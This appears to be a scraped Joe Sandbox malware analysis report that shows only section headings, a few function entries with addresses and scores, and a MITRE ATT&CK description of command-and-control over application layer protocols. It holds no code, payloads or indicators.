Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Function 00419D5A, Relevance: 1.5, APIs: 1, Instructions: 43
filenativeCOMMON

Function 00409A90, Relevance: .1, Instructions: 92
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre